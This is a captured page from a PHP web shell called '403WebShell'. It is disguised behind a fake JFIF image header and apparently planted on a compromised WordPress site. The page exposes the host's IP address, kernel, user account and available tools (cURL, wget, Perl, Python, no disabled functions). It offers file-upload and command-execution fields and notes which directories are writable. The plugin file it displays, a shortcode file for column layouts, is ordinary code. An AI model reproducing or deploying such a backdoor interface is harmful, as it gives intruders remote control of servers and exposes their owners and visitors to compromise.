????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/cherry-plugin-x/includes/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/cherry-plugin-x/includes/shortcodes/columns.php
<?php
// Columns
function cherry_grid_column( $atts, $content = null, $shortcodename = '' ) {
	//remove wrong nested <p>
	$content = remove_invalid_tags( $content, array('p') );

	extract(shortcode_atts(array(
		'custom_class'  => ''
	), $atts));
	// add divs to the content
	$return = '<div class="' . $shortcodename . ' ' . $custom_class . '">';
	$return .= do_shortcode( $content );
	$return .= '</div>';

	return $return;
}
add_shortcode( 'span1', 'cherry_grid_column' );
add_shortcode( 'span2', 'cherry_grid_column' );
add_shortcode( 'span3', 'cherry_grid_column' );
add_shortcode( 'span4', 'cherry_grid_column' );
add_shortcode( 'span5', 'cherry_grid_column' );
add_shortcode( 'span6', 'cherry_grid_column' );
add_shortcode( 'span7', 'cherry_grid_column' );
add_shortcode( 'span8', 'cherry_grid_column' );
add_shortcode( 'span9', 'cherry_grid_column' );
add_shortcode( 'span10', 'cherry_grid_column' );
add_shortcode( 'span11', 'cherry_grid_column' );
add_shortcode( 'span12', 'cherry_grid_column' );


// Fluid Columns
// one_half
function one_half_column($atts, $content = null) {
	//remove wrong nested <p>
	$content = remove_invalid_tags( $content, array('p') );

	// add divs to the content
	$return = '<div class="span6">';
	$return .= do_shortcode( $content );
	$return .= '</div>';

	return $return;
}
add_shortcode( 'one_half', 'one_half_column' );

// one_third
function one_third_column( $atts, $content = null ) {
	//remove wrong nested <p>
	$content = remove_invalid_tags( $content, array('p') );

	// add divs to the content
	$return = '<div class="span4">';
	$return .= do_shortcode( $content );
	$return .= '</div>';

	return $return;
}
add_shortcode( 'one_third', 'one_third_column' );

// two_third
function two_third_column( $atts, $content = null ) {
	//remove wrong nested <p>
	$content = remove_invalid_tags( $content, array('p') );

	// add divs to the content
	$return = '<div class="span8">';
	$return .= do_shortcode( $content );
	$return .= '</div>';

	return $return;
}
add_shortcode( 'two_third', 'two_third_column' );

// one_fourth
function one_fourth_column( $atts, $content = null ) {
	//remove wrong nested <p>
	$content = remove_invalid_tags( $content, array('p') );

	// add divs to the content
	$return = '<div class="span3">';
	$return .= do_shortcode( $content );
	$return .= '</div>';

	return $return;
}
add_shortcode( 'one_fourth', 'one_fourth_column' );

// three_fourth
function three_fourth_column( $atts, $content = null) {
	//remove wrong nested <p>
	$content = remove_invalid_tags( $content, array('p') );

	// add divs to the content
	$return = '<div class="span9">';
	$return .= do_shortcode( $content );
	$return .= '</div>';

	return $return;
}
add_shortcode( 'three_fourth', 'three_fourth_column' );

// one_sixth
function one_sixth_column( $atts, $content = null ) {
	//remove wrong nested <p>
	$content = remove_invalid_tags( $content, array('p') );

	// add divs to the content
	$return = '<div class="span2">';
	$return .= do_shortcode( $content );
	$return .= '</div>';

	return $return;
}
add_shortcode( 'one_sixth', 'one_sixth_column' );

// five_sixth
function five_sixth_column( $atts, $content = null ) {
	//remove wrong nested <p>
	$content = remove_invalid_tags( $content, array('p') );

	// add divs to the content
	$return = '<div class="span10">';
	$return .= do_shortcode( $content );
	$return .= '</div>';

	return $return;
}
add_shortcode( 'five_sixth', 'five_sixth_column' );
?>

Youez - 2016 - github.com/yon3zu
LinuXploit